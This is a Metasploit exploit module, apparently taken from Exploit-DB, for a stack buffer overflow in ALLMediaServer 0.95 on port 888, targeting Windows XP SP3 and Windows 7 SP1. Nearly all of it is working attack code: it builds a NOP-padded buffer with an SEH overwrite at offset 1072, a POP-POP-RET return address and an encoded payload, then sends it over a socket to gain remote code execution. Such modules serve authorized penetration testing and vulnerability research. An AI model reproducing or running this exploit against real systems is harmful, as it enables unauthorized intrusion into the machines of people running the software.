ALLMediaServer 0.95 – Remote Buffer Overflow (Metasploit)
require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ALLMediaServer 0.95 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in ALLMediaServer 0.95. The vulnerability is caused due to a boundary error within the handling of HTTP request. }, 'License' => MSF_LICENSE, 'Author' => [ 'Anurag Srivastava', # Remote exploit and Metasploit module ], 'References' => [ [ 'EDB', '43406' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', #none/process/thread/seh }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "", 'Space' => 660, 'DisableNops' => true }, 'Targets' => [ [ 'ALLMediaServer 0.95 / Windows XP SP3 - English', { 'Ret' => 0x00408315, # POP # POP # POP # RET 'Offset' => 1072 } ], [ 'ALLMediaServer 0.95 / Windows 7 SP1 - English', { 'Ret' => 0x00408315, # POP # POP # POP # RET 'Offset' => 1072 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 28 2017', 'DefaultTarget' => 1)) register_options([Opt::RPORT(888)], self.class) end def exploit connect buffer = "" buffer << make_nops(target['Offset']) buffer << generate_seh_record(target.ret) buffer << make_nops(19) buffer << payload.encoded print_status("Sending payload ...") sock.put(buffer) handler disconnect end end |